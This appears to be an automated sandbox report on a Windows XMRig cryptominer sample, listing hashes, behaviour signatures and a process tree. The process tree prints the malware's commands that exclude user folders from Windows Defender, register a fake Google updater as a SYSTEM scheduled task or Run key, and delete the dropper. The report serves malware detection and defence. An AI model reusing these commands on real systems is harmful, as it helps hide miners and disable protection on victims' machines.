Overview

overview

10

Static

static

3

grhddhsGHs...6).exe

windows7-x64

10

grhddhsGHs...6).exe

windows10-2004-x64

10

grhddhsGHs... K.exe

windows7-x64

10

grhddhsGHs... K.exe

windows10-2004-x64

10

grhddhsGHs...7).exe

windows7-x64

10

grhddhsGHs...7).exe

windows10-2004-x64

10

grhddhsGHs...8).exe

windows7-x64

10

grhddhsGHs...8).exe

windows10-2004-x64

10

grhddhsGHs...9).exe

windows7-x64

10

grhddhsGHs...9).exe

windows10-2004-x64

10

grhddhsGHs...0).exe

windows7-x64

10

grhddhsGHs...0).exe

windows10-2004-x64

10

grhddhsGHs...1).exe

windows7-x64

10

grhddhsGHs...1).exe

windows10-2004-x64

10

grhddhsGHs...2).exe

windows7-x64

10

grhddhsGHs...2).exe

windows10-2004-x64

10

grhddhsGHs...3).exe

windows7-x64

10

grhddhsGHs...3).exe

windows10-2004-x64

10

grhddhsGHs...4).exe

windows7-x64

10

grhddhsGHs...4).exe

windows10-2004-x64

10

grhddhsGHs...5).exe

windows7-x64

10

grhddhsGHs...5).exe

windows10-2004-x64

10

grhddhsGHs...6).exe

windows7-x64

10

grhddhsGHs...6).exe

windows10-2004-x64

10

grhddhsGHs...7).exe

windows7-x64

10

grhddhsGHs...7).exe

windows10-2004-x64

10

grhddhsGHs...8).exe

windows7-x64

10

grhddhsGHs...8).exe

windows10-2004-x64

10

grhddhsGHs...9).exe

windows7-x64

10

grhddhsGHs...9).exe

windows10-2004-x64

10

grhddhsGHs...0).exe

windows7-x64

10

grhddhsGHs...0).exe

windows10-2004-x64

10

Resubmissions

11/02/2025, 16:33

250211-t2ztsstkey 10

11/02/2025, 16:33

250211-t2zh2atkex 10

11/02/2025, 16:33

250211-t2yxhatkew 10

11/02/2025, 16:33

250211-t2nrjasqdk 10

24/10/2024, 20:12

241024-yyvg5asemn 10

24/10/2024, 20:11

241024-yygk9ssemk 10

24/10/2024, 20:11

241024-yygahasemj 10

24/10/2024, 20:11

241024-yyd55sselq 10

24/10/2024, 20:08

241024-yw247asdqp 10

24/10/2024, 20:08

241024-yw1lcssdqn 10

Analysis

  • max time kernel
    900s
  • max time network
    907s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250207-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/02/2025, 16:33

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score
10/10
xmrigadwarediscoveryexecutionminerpersistenceprivilege_escalationstealerupx

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 30 IoCs
    miner
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 11 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Installs/modifies Browser Helper Object 2 TTPs 8 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies Internet Explorer settings 1 TTPs 26 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • System policy modification 1 TTPs 4 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3580
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious behavior: EnumeratesProcesses
        PID:4504
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3456
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2200
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3224
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:4424
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1840
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:1948
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:464
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4852
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:4628
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1512
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:3108
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:3080
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4220
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1100
          • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
            "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NTdERTkwRjQtODUzQi00NUIyLThDODQtMTYxNThEODRCNzcwfSIgdXNlcmlkPSJ7RTg2QTNGQzctQjMxNC00NzJGLUEyOEQtMUI0QUNERjYyRDQ5fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NEQwRkZDRTYtMEY1NC00QzlELUEzMUQtREVFMUZGQzAxMzlFfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI0IiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDU5MjEiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxODE5ODA3NzAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MDY1MzQ0NTk4Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
            1⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            PID:4604
          • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\MicrosoftEdge_X64_132.0.2957.140.exe
            "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\MicrosoftEdge_X64_132.0.2957.140.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:2216
            • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\EDGEMITMP_D89AC.tmp\setup.exe
              "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\EDGEMITMP_D89AC.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\MicrosoftEdge_X64_132.0.2957.140.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
              2⤵
              • Boot or Logon Autostart Execution: Active Setup
              • Executes dropped EXE
              • Installs/modifies Browser Helper Object
              • Drops file in Program Files directory
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              • System policy modification
              PID:388
              • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\EDGEMITMP_D89AC.tmp\setup.exe
                "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\EDGEMITMP_D89AC.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\EDGEMITMP_D89AC.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=132.0.2957.140 --initial-client-data=0x22c,0x230,0x234,0x228,0x238,0x7ff6d336a818,0x7ff6d336a824,0x7ff6d336a830
                3⤵
                • Executes dropped EXE
                PID:536
              • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\EDGEMITMP_D89AC.tmp\setup.exe
                "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\EDGEMITMP_D89AC.tmp\setup.exe" --msedge --channel=stable --system-level --verbose-logging --create-shortcuts=2 --install-level=1
                3⤵
                • Executes dropped EXE
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1688
                • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\EDGEMITMP_D89AC.tmp\setup.exe
                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\EDGEMITMP_D89AC.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{0ED4F4B1-2ED8-4C3E-B951-551E99BB0944}\EDGEMITMP_D89AC.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=132.0.2957.140 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff6d336a818,0x7ff6d336a824,0x7ff6d336a830
                  4⤵
                  • Executes dropped EXE
                  PID:3788
              • C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --msedge --channel=stable --register-package-identity --verbose-logging --system-level
                3⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2040
                • C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=132.0.2957.140 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff74f83a818,0x7ff74f83a824,0x7ff74f83a830
                  4⤵
                  • Executes dropped EXE
                  PID:2724
              • C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --msedge --channel=stable --remove-deprecated-packages --verbose-logging --system-level
                3⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Suspicious use of WriteProcessMemory
                PID:4632
                • C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=132.0.2957.140 --initial-client-data=0x228,0x22c,0x230,0x224,0x234,0x7ff74f83a818,0x7ff74f83a824,0x7ff74f83a830
                  4⤵
                  • Executes dropped EXE
                  PID:4960
              • C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --msedge --channel=stable --update-game-assist-package --verbose-logging --system-level
                3⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Suspicious use of WriteProcessMemory
                PID:3700
                • C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=132.0.2957.140 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff74f83a818,0x7ff74f83a824,0x7ff74f83a830
                  4⤵
                  • Executes dropped EXE
                  • Drops file in Program Files directory
                  PID:3532
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k AppReadiness -p -s AppReadiness
            1⤵
              PID:4820
            • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
              "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NTdERTkwRjQtODUzQi00NUIyLThDODQtMTYxNThEODRCNzcwfSIgdXNlcmlkPSJ7RTg2QTNGQzctQjMxNC00NzJGLUEyOEQtMUI0QUNERjYyRDQ5fSIgaW5zdGFsbHNvdXJjZT0ic2NoZWR1bGVyIiByZXF1ZXN0aWQ9Ins4REYyMDMxRC0yOURGLTRENkMtQUZBMy1DMUJGMTREQUJFQ0R9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iMiIgcGh5c21lbW9yeT0iNCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7VlBRb1AxRitmcTE1d1J6aDFrUEw0UE1wV2g4T1JNQjVpenZyT0MvY2hqUT0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7RjNDNEZFMDAtRUZENS00MDNCLTk1NjktMzk4QTIwRjFCQTRBfSIgdmVyc2lvbj0iMS4zLjE5NS40MyIgbmV4dHZlcnNpb249IiIgbGFuZz0iIiBicmFuZD0iSU5CWCIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjQiIGNvaG9ydD0icnJmQDAuNDIiPjx1cGRhdGVjaGVjay8-PHBpbmcgcj0iNCIgcmQ9IjY2MTIiIHBpbmdfZnJlc2huZXNzPSJ7MTI4OTUwM0YtNUM5MS00RjlFLTlFODUtNkFDMDcyQzQwMjc4fSIvPjwvYXBwPjxhcHAgYXBwaWQ9Ins1NkVCMThGOC1CMDA4LTRDQkQtQjZEMi04Qzk3RkU3RTkwNjJ9IiB2ZXJzaW9uPSI5Mi4wLjkwMi42NyIgbmV4dHZlcnNpb249IjEzMi4wLjI5NTcuMTQwIiBsYW5nPSIiIGJyYW5kPSJJTkJYIiBjbGllbnQ9IiIgZXhwZXJpbWVudHM9ImNvbnNlbnQ9ZmFsc2UiIGluc3RhbGxhZ2U9IjQiIGlzX3Bpbm5lZF9zeXN0ZW09InRydWUiIGxhc3RfbGF1bmNoX2NvdW50PSIxIiBsYXN0X2xhdW5jaF90aW1lPSIxMzM4MzQyMjc1NzM1MzI2ODAiPjx1cGRhdGVjaGVjay8-PGV2ZW50IGV2ZW50dHlwZT0iMTIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjUxNDQ4NzYwNzMiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIxMyIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNTE0NDg3NjA3MyIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIvPjxldmVudCBldmVudHR5cGU9IjE0IiBldmVudHJlc3VsdD0iMCIgZXJyb3Jjb2RlPSItMjE0NzAyMzgzOCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iOTg0ODYyNTk3OSIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIgZG93bmxvYWRlcj0iZG8iIHVybD0iaHR0cDovL21zZWRnZS5iLnRsdS5kbC5kZWxpdmVyeS5tcC5taWNyb3NvZnQuY29tL2ZpbGVzdHJlYW1pbmdzZXJ2aWNlL2ZpbGVzLzA3NDAwMzZhLTRlMTgtNDU2ZC05NmZhLWQxZDljNGNhNDY3Nj9QMT0xNzM5ODk4MjczJmFtcDtQMj00MDQmYW1wO1AzPTImYW1wO1A0PVZ0emZuJTJmRTBUT0Y1JTJmSWhZTkZkSGhoZUZmNlBLZllLWkE2bXhrbnVkSW5KOUo5YnFlQkpPeDlNJTJiaGRES0NuS2MlMmJ4OGJRT1lGcnVuQmt0OUxFRVMydnclM2QlM2QiIHNlcnZlcl9pcF9oaW50PSIiIGNkbl9jaWQ9Ii0xIiBjZG5fY2NjPSIiIGNkbl9tc2VkZ2VfcmVmPSIiIGNkbl9henVyZV9yZWZfb3JpZ2luX3NoaWVsZD0iIiBjZG5fY2FjaGU9IiIgY2RuX3AzcD0iIiBkb3dubG9hZGVkPSIwIiB0b3RhbD0iMCIgZG93bmxvYWRfdGltZV9tcz0iMCIvPjxldmVudCBldmVudHR5cGU9IjE0IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI5ODQ4NjI1OTc5IiBzb3VyY2VfdXJsX2luZGV4PSIwIiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIiBkb3dubG9hZGVyPSJiaXRzIiB1cmw9Imh0dHA6Ly9tc2VkZ2UuYi50bHUuZGwuZGVsaXZlcnkubXAubWljcm9zb2Z0LmNvbS9maWxlc3RyZWFtaW5nc2VydmljZS9maWxlcy8wNzQwMDM2YS00ZTE4LTQ1NmQtOTZmYS1kMWQ5YzRjYTQ2NzY_UDE9MTczOTg5ODI3MyZhbXA7UDI9NDA0JmFtcDtQMz0yJmFtcDtQND1WdHpmbiUyZkUwVE9GNSUyZkloWU5GZEhoaGVGZjZQS2ZZS1pBNm14a251ZEluSjlKOWJxZUJKT3g5TSUyYmhkREtDbktjJTJieDhiUU9ZRnJ1bkJrdDlMRUVTMnZ3JTNkJTNkIiBzZXJ2ZXJfaXBfaGludD0iIiBjZG5fY2lkPSItMSIgY2RuX2NjYz0iIiBjZG5fbXNlZGdlX3JlZ